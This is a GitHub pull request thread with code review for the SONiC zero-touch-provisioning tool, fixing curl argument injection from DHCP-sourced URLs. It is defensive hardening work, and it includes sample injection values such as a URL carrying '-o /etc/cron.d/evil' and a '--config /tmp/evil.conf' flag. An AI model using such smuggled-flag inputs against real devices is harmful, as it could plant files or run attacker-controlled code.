ztp: harden curl command construction in Downloader and DHCP hook by xq9mend · Pull Request #75 · sonic-net/sonic-ztp

xq9mend · 2026-04-07T01:31:36Z

Why I did it

The ZTP downloader constructed curl commands by string concatenation,
allowing content derived from DHCP options to influence how curl
interpreted its arguments.

How I did it

Replaced string concatenation with list-based argv construction in
Downloader.py. Each argument is now a discrete list element.
shlex.split() is used for the freeform curl-arguments field.
-- is appended before the URL.
Shell variable quoting hardened in dhcp/ztp.
Whitespace guard added in ztp-engine.py.

How to verify

Unit tests covering the fix are included in
tests/test_Downloader_input_validation.py (9 tests):

cd src/sonic-ztp
PYTHONPATH=src/usr/lib/python3/dist-packages \
  python3 -m pytest tests/test_Downloader_input_validation.py -v

CI (CodeQL, Semgrep) will run on PR open.

mssonicbld · 2026-04-07T01:31:45Z

/azp run

azure-pipelines · 2026-04-07T01:31:55Z

Azure Pipelines successfully started running 1 pipeline(s).

xq9mend · 2026-04-07T04:53:02Z

@rajendra-dendukuri @saiarcot895 @maipbui — would appreciate your review on this. @rajendra-dendukuri you wrote the original Downloader.py so you know this code best. The fix addresses argument injection via DHCP-sourced fields.

mssonicbld · 2026-04-07T15:24:07Z

/azp run

azure-pipelines · 2026-04-07T15:24:18Z

Azure Pipelines successfully started running 1 pipeline(s).

saiarcot895 · 2026-04-07T15:49:28Z

            url_str = f.readline().strip()
            f.close()

+            if ' ' in url_str or '\t' in url_str:


Why should spaces be blocked?

URLs containing literal spaces are invalid per RFC 3986 — legitimate URLs use percent-encoding (%20) instead. A space in a DHCP-sourced URL string is therefore either malformed or an injection attempt.

Concretely, if a space were passed through, it could split into multiple arguments when processed, potentially injecting curl flags (e.g. http://attacker.com/ -o /etc/cron.d/evil). The primary injection fix is the list-based argv in Downloader.py, but this whitespace guard provides an early defense-in-depth layer that rejects clearly invalid input before it reaches the downloader.

saiarcot895 · 2026-04-10T19:53:39Z

@@ -0,0 +1,186 @@
+'''
+Security tests for CVE fix: curl argument injection in Downloader.py


Is this actually a CVE?

No CVE assigned. This is a proactive hardening improvement to prevent argument injection via DHCP-sourced fields.

mssonicbld · 2026-04-10T21:04:32Z

/azp run

azure-pipelines · 2026-04-10T21:04:41Z

Azure Pipelines successfully started running 1 pipeline(s).

mssonicbld · 2026-04-10T21:12:39Z

/azp run

azure-pipelines · 2026-04-10T21:12:48Z

Azure Pipelines successfully started running 1 pipeline(s).

Replace string concatenation with list-based argv in Downloader.py to prevent URL or option content from being interpreted as curl flags. Use shlex.split() for the curl-arguments field. Append -- before URL. Quote DHCP variables in dhcp/ztp exit hook. Add whitespace guard in ztp-engine.py. Signed-off-by: xq9mend <[email protected]>

mssonicbld · 2026-04-10T21:36:31Z

/azp run

azure-pipelines · 2026-04-10T21:36:41Z

Azure Pipelines successfully started running 1 pipeline(s).

Copilot

Pull request overview

Hardens ZTP’s download path against curl argument injection by ensuring DHCP-/profile-derived values can’t be reinterpreted as additional curl flags, improving security of provisioning downloads.

Changes:

Switch Downloader.getUrl() from string-concatenated curl commands to argv-list construction (with -- before the URL) and split curl-arguments via shlex.split().
Harden DHCP hook variable quoting when persisting DHCP option values to files.
Add a whitespace guard when reading URL strings in ztp-engine.py, plus new unit tests targeting command construction behavior.

Reviewed changes

Copilot reviewed 5 out of 5 changed files in this pull request and generated 8 comments.

Show a summary per file

File	Description
`src/usr/lib/python3/dist-packages/ztp/Downloader.py`	Builds curl command as a list argv and inserts `--` before the URL to prevent flag injection.
`src/usr/lib/ztp/dhcp/ztp`	Quotes DHCP-provided variables when writing discovered URLs/values to state files.
`src/usr/lib/ztp/ztp-engine.py`	Rejects URLs containing whitespace when read from URL files prior to download.
`tests/test_Downloader_input_validation.py`	Adds tests that assert URL/dst_file/curl_args don’t become unintended curl argv tokens.
`tests/conftest.py`	Adds a test bootstrap that rewrites SONiC-specific default paths to temp locations.

Copilot · 2026-04-13T15:25:45Z

        if curl_args is not None:
-            cmd += ' ' + curl_args
-        cmd += ' ' + url
+            cmd += shlex.split(curl_args)


shlex.split(curl_args) can raise ValueError on malformed quoting. Because the command is now passed to runCommand() as a list, this exception will propagate and can crash ZTP (previously runCommand() caught split errors when it received a string). Consider catching ValueError here and returning an error code / logging, or using a safer parsing strategy for invalid curl_args.

Suggested change

cmd += shlex.split(curl_args)

try:

cmd += shlex.split(curl_args)

except ValueError as e:

logger.error("!Invalid curl_args '%s': %s" % (curl_args, str(e)))

return (20, None)

Fixed — wrapped in try/except ValueError with error logging.

Copilot · 2026-04-13T15:25:46Z

+# ---------------------------------------------------------------------------
+# Bootstrap: patch system paths BEFORE any ztp module is imported.
+# ZTPCfg.py and Logger.py run module-level code at import time that touches
+# /host/ztp and /etc/rsyslog.d, so the patches must be in place first.
+# ---------------------------------------------------------------------------
+
+# Create a single persistent temp dir for the whole test session.
+_tmp_root = tempfile.mkdtemp(prefix="ztp_test_")
+_fake_host_ztp = os.path.join(_tmp_root, "host", "ztp")
+_fake_rsyslog_d = os.path.join(_tmp_root, "etc", "rsyslog.d")
+_fake_sonic_dir = os.path.join(_tmp_root, "etc", "sonic")
+
+os.makedirs(_fake_host_ztp, exist_ok=True)
+os.makedirs(_fake_rsyslog_d, exist_ok=True)
+os.makedirs(_fake_sonic_dir, exist_ok=True)
+
+# Add ztp package to path so `from ztp.X import Y` works.
+_ztp_pkg_dir = os.path.join(
+    os.path.dirname(__file__),
+    "..", "src", "usr", "lib", "python3", "dist-packages"
+)
+if _ztp_pkg_dir not in sys.path:
+    sys.path.insert(0, os.path.abspath(_ztp_pkg_dir))
+
+# Patch defaults BEFORE importing any ztp submodule.
+import ztp.defaults as _defaults
+


This conftest claims tests can run on a bare host, but it does not prevent import-time execution of external SONiC binaries (e.g., decode-syseeprom via ztp.DecodeSysEeprom.sysEeprom). On systems without those binaries, importing ztp.Downloader can fail before tests run. Consider stubbing/mocking those external command calls early in conftest (before any ztp.* imports that trigger them), or otherwise ensuring the binaries are available for the test environment.

Copilot · 2026-04-13T15:25:46Z

+import pytest
+from unittest.mock import patch, MagicMock
+
+from ztp.Downloader import Downloader
+
+
+# ---------------------------------------------------------------------------
+# Helper
+# ---------------------------------------------------------------------------
+
+def _make_downloader(**kwargs):
+    """Return a Downloader with safe defaults for unit testing."""
+    return Downloader(


The module docstring says no real curl/network is required, but constructing Downloader() imports and instantiates ztp.DecodeSysEeprom.sysEeprom at import time, which can execute decode-syseeprom on the host. If that binary is missing, these tests can fail even though runCommand is mocked. Consider mocking/stubbing sysEeprom (or the underlying runCommand used by DecodeSysEeprom) before importing Downloader.

Suggested change

import pytest

from unittest.mock import patch, MagicMock

from ztp.Downloader import Downloader

# ---------------------------------------------------------------------------

# Helper

# ---------------------------------------------------------------------------

def _make_downloader(**kwargs):

"""Return a Downloader with safe defaults for unit testing."""

return Downloader(

import importlib

import pytest

from unittest.mock import patch, MagicMock

# ---------------------------------------------------------------------------

# Helper

# ---------------------------------------------------------------------------

def _get_downloader_class():

"""

Import Downloader only after stubbing sysEeprom so unit tests do not

execute decode-syseeprom on the host at import time.

"""

import ztp.DecodeSysEeprom

fake_sys_eeprom = MagicMock()

fake_sys_eeprom.getSystemEEPROM.return_value = {}

with patch.object(

ztp.DecodeSysEeprom,

'sysEeprom',

return_value=fake_sys_eeprom,

):

downloader_module = importlib.import_module('ztp.Downloader')

return downloader_module.Downloader

def _make_downloader(**kwargs):

"""Return a Downloader with safe defaults for unit testing."""

downloader_cls = _get_downloader_class()

return downloader_cls(

Copilot · 2026-04-13T15:25:46Z

 if [ "$(ztp status -c)" != "0:DISABLED" ]; then
    if [ -n "$new_bootfile_name" ]; then
-        take_lock dhcp && echo $new_bootfile_name > $ZTP_JSON_URL_FILE
+        take_lock dhcp && echo "$new_bootfile_name" > $ZTP_JSON_URL_FILE
        if [ -n "$new_tftp_server_name" ]; then
-            take_lock dhcp && echo $new_tftp_server_name > $ZTP_TFTP_SERVER_FILE
+            take_lock dhcp && echo "$new_tftp_server_name" > $ZTP_TFTP_SERVER_FILE
        fi


Using echo with DHCP-supplied values can be unsafe/ambiguous when the value begins with -n or contains backslash escape sequences (echo behavior varies). For robust writing of untrusted strings, prefer printf '%s\n' "$new_bootfile_name" (and likewise for other DHCP option values).

Fixed — all 6 DHCP-supplied values now use printf '%s\n' instead of echo.

Copilot · 2026-04-13T15:25:46Z

    if [ -n "$new_dhcp6_boot_file_url" ]; then
-        take_lock dhcp6 && echo $new_dhcp6_boot_file_url > $ZTP_JSON_URL6_FILE
+        take_lock dhcp6 && echo "$new_dhcp6_boot_file_url" > $ZTP_JSON_URL6_FILE
    fi


Same echo caveat as above: for untrusted DHCP-provided URLs, prefer printf '%s\n' "$new_dhcp6_boot_file_url" to avoid option/escape interpretation differences across implementations.

Copilot · 2026-04-13T15:25:46Z

    if [ -n "$new_provisioning_script_url" ]; then
-        take_lock dhcp && echo $new_provisioning_script_url > $PROVISIONING_SCRIPT_URL_FILE
+        take_lock dhcp && echo "$new_provisioning_script_url" > $PROVISIONING_SCRIPT_URL_FILE
    fi


Same echo caveat as above: prefer printf over echo when writing untrusted DHCP option values like provisioning script URLs, to avoid -n/escape interpretation issues.

Copilot · 2026-04-13T15:25:47Z

    if [ -n "$new_dhcp6_provisioning_script_url" ]; then
-        take_lock dhcp6 && echo $new_dhcp6_provisioning_script_url > $PROVISIONING_SCRIPT_URL6_FILE
+        take_lock dhcp6 && echo "$new_dhcp6_provisioning_script_url" > $PROVISIONING_SCRIPT_URL6_FILE
    fi


Same echo caveat as above: prefer printf over echo when writing untrusted DHCPv6 option values like provisioning script URLs, to avoid -n/escape interpretation issues.

Copilot · 2026-04-13T15:25:47Z

    if [ -n "$new_minigraph_url" ]; then
-        take_lock dhcp && echo $new_minigraph_url > ${GRAPH_URL}
+        take_lock dhcp && echo "$new_minigraph_url" > ${GRAPH_URL}

        if [ -n "$new_acl_url" ]; then
-            take_lock dhcp && echo $new_acl_url > ${ACL_URL}
+            take_lock dhcp && echo "$new_acl_url" > ${ACL_URL}
        fi


Same echo caveat as above: prefer printf over echo when writing untrusted DHCP option values (e.g., minigraph / ACL URLs) so the content is written verbatim regardless of leading - or backslashes.

saiarcot895 · 2026-04-14T01:50:41Z

+
+    def test_url_with_config_flag(self, tmp_path):
+        """'--config' in URL must not reach curl as a real flag."""
+        url = 'http://x.com/ --config /tmp/evil.conf'


Use example.com here.

Fixed in the latest commit.

- Use example.com in test URLs (per reviewer feedback) - Handle ValueError from shlex.split(curl_args) gracefully - Use printf instead of echo for DHCP-supplied values in dhcp hook Signed-off-by: xq9mend <[email protected]>

…jection

mssonicbld · 2026-04-14T21:02:04Z

/azp run

azure-pipelines · 2026-04-14T21:02:14Z

Azure Pipelines successfully started running 1 pipeline(s).

xq9mend force-pushed the fix/ztp-curl-arg-injection branch from d3bddba to 7d23eef Compare April 7, 2026 15:23

saiarcot895 reviewed Apr 7, 2026

View reviewed changes

saiarcot895 reviewed Apr 10, 2026

View reviewed changes

xq9mend changed the title ~~ztp: fix argument injection in curl command construction~~ ztp: harden curl command construction in Downloader and DHCP hook Apr 10, 2026

xq9mend force-pushed the fix/ztp-curl-arg-injection branch from 7d23eef to 55fce35 Compare April 10, 2026 21:04

xq9mend force-pushed the fix/ztp-curl-arg-injection branch from 55fce35 to 67efc13 Compare April 10, 2026 21:12

xq9mend force-pushed the fix/ztp-curl-arg-injection branch from 67efc13 to 72a377e Compare April 10, 2026 21:36

maipbui requested a review from Copilot April 13, 2026 15:19

Copilot started reviewing on behalf of maipbui April 13, 2026 15:20 View session

Copilot AI reviewed Apr 13, 2026

View reviewed changes

saiarcot895 reviewed Apr 14, 2026

View reviewed changes

xq9mend added 2 commits April 14, 2026 19:05

ztp: address review comments

0c53c12

- Use example.com in test URLs (per reviewer feedback) - Handle ValueError from shlex.split(curl_args) gracefully - Use printf instead of echo for DHCP-supplied values in dhcp hook Signed-off-by: xq9mend <[email protected]>

Merge remote-tracking branch 'origin/master' into fix/ztp-curl-arg-in…

61aaa41

…jection

saiarcot895 approved these changes Apr 15, 2026

View reviewed changes

qiluo-msft merged commit 036c8ea into sonic-net:master Apr 15, 2026
5 checks passed

		@@ -0,0 +1,186 @@
		'''
		Security tests for CVE fix: curl argument injection in Downloader.py

-            cmd += shlex.split(curl_args)
+            try:
+                cmd += shlex.split(curl_args)
+            except ValueError as e:
+                logger.error("!Invalid curl_args '%s': %s" % (curl_args, str(e)))
+                return (20, None)

Conversation

xq9mend commented Apr 7, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Why I did it

How I did it

How to verify

Uh oh!

mssonicbld commented Apr 7, 2026

Uh oh!

azure-pipelines Bot commented Apr 7, 2026

Uh oh!

xq9mend commented Apr 7, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

mssonicbld commented Apr 7, 2026

Uh oh!

azure-pipelines Bot commented Apr 7, 2026

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

mssonicbld commented Apr 10, 2026

Uh oh!

azure-pipelines Bot commented Apr 10, 2026

Uh oh!

mssonicbld commented Apr 10, 2026

Uh oh!

azure-pipelines Bot commented Apr 10, 2026

Uh oh!

mssonicbld commented Apr 10, 2026

Uh oh!

azure-pipelines Bot commented Apr 10, 2026

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Copilot AI Apr 13, 2026

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

mssonicbld commented Apr 14, 2026

Uh oh!

azure-pipelines Bot commented Apr 14, 2026

Uh oh!

Uh oh!

xq9mend commented Apr 7, 2026 •

edited

Loading

xq9mend commented Apr 7, 2026 •

edited

Loading